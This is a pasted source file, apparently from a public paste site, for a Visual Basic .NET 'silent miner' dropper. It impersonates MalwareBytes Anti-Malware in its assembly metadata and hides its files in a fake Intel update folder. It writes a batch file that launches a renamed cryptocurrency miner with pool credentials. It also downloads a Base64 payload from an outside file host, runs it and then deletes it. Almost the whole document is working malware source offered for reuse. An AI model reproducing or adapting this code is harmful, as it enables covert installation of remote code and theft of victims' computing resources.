Excavator Silent Miner Source


SUBMITTED BY: Guest

DATE: Sept. 4, 2013, 11:35 p.m.

FORMAT: Text only

SIZE: 4.3 kB

HITS: 1107

  1. Imports System
  2. Imports System.Data
  3. Imports System.Reflection
  4. Imports System.Runtime.InteropServices
  5. Imports System.Text
  6. Imports System.Reflection.Emit
  7. Imports Microsoft.VisualBasic
  8. Imports Microsoft.Win32
  9. Imports System.IO
  10. Imports System.Net
  11. Imports System.Threading
  12. Imports System.Windows.Forms
  13. Imports System.Security.Cryptography
  14. Imports System.IO.Compression
  15. Imports System.Collections.Generic
  16. <Assembly: AssemblyTitle("MalwareBytes Anti-Malware")>
  17. <Assembly: AssemblyDescription("A malware removal tool.")>
  18. <Assembly: AssemblyCompany("MalwareBytes Inc.")>
  19. <Assembly: AssemblyProduct("MalwareBytes Anti-Malware")>
  20. <Assembly: AssemblyCopyright("©2012 MalwareBytes Inc.")>
  21. <Assembly: AssemblyTrademark("MalwareBytes Inc. All rights reserved.")>
  22. <Assembly: AssemblyVersion("12.01.32")>
  23. <Assembly: AssemblyFileVersion("12.01.32.00")>
  24. Module Module1
  25. <DllImport("user32.dll", SetLastError:=True, CharSet:=CharSet.Auto)> _
  26. Private Function FindWindow( _
  27. ByVal lpClassName As String, _
  28. ByVal lpWindowName As String) As IntPtr
  29. End Function
  30. 'MHN KSEXASW NA FTIAKSW TO STARTUP GIATI EINAI GAMIMENO
  31. Sub Main()
  32. dim klidi as string ="EDW TO KLIDI"
  33. If My.Computer.FileSystem.DirectoryExists("C:\ProgramData/Intel") Then
  34. 'do thing
  35. Else
  36. My.Computer.FileSystem.CreateDirectory("C:\ProgramData/Intel")
  37. End If
  38. If My.Computer.FileSystem.DirectoryExists("C:\ProgramData/Intel/IntelUpdate") Then
  39. 'do thing
  40. Else
  41. My.Computer.FileSystem.CreateDirectory("C:\ProgramData/Intel/IntelUpdate")
  42. End If
  43. File.Create("C:\ProgramData/Intel/IntelUpdate/as2.bat").Dispose()
  44. Dim sb As New StringBuilder()
  45. Using sr As New StreamReader("C:\ProgramData/Intel/IntelUpdate/as2.bat")
  46. sb.AppendLine("@echo off")
  47. sb.AppendLine(vbNewLine)
  48. sb.AppendLine("Rundll32.exe -a 5 -g no -o http://us3.eclipsemc.com:8337 -u orion_2 -p 18731873")
  49. sb.Append(sr.ReadToEnd())
  50. sb.AppendLine()
  51. sb.AppendLine()
  52. End Using
  53. Using outfile As New StreamWriter("C:\ProgramData/Intel/IntelUpdate/as2.bat")
  54. outfile.Write(sb.ToString())
  55. End Using
  56. System.Threading.Thread.Sleep(593)
  57. Dim miagic As New WebClient
  58. Dim ggffff As String = miagic.DownloadString(CustomXOR_Decrypt("http://ge.tt/api/1/files/7InUjLa/0/blob?download",klidi))
  59. My.Computer.FileSystem.WriteAllBytes("C:\ProgramData/Intel/IntelUpdate/intel.exe", Convert.FromBase64String(ggffff), False)
  60. System.Threading.Thread.Sleep(1593)
  61. If My.Computer.FileSystem.FileExists("C:\ProgramData/Intel/IntelUpdate/intel.exe") Then
  62. Dim program1 As System.Diagnostics.ProcessStartInfo
  63. Dim startprogram1 As New System.Diagnostics.Process
  64. Dim program1file As String = "C:\ProgramData/Intel/IntelUpdate/intel.exe"
  65. program1 = New System.Diagnostics.ProcessStartInfo(program1file)
  66. startprogram1.StartInfo = program1
  67. startprogram1.Start()
  68. System.Threading.Thread.Sleep(1593)
  69. End If
  70. System.Threading.Thread.Sleep(20000)
  71. If My.Computer.FileSystem.FileExists("C:\ProgramData/Intel/IntelUpdate/intel.exe") Then
  72. My.Computer.FileSystem.DeleteFile("C:\ProgramData/Intel/IntelUpdate/intel.exe")
  73. End If
  74. End Sub
  75. Public Function CustomXOR_Decrypt(ByVal Input As String, ByVal pass As String) As String
  76. Dim out As New System.Text.StringBuilder
  77. Dim Hash As New System.Security.Cryptography.MD5CryptoServiceProvider
  78. Dim XorHash As Byte() = Hash.ComputeHash(System.Text.Encoding.ASCII.GetBytes(pass))
  79. Dim u As Integer
  80. For i As Integer = 0 To Input.Length - 1 Step +2
  81. Dim tmp As String = Chr(("&H" & Input.Substring(i, 2)) Xor XorHash(u))
  82. out.Append(tmp)
  83. If u = pass.Length - 1 Then u = 0 Else u = u + 1
  84. Next
  85. Return out.ToString
  86. End Function
  87. End Module

comments powered by Disqus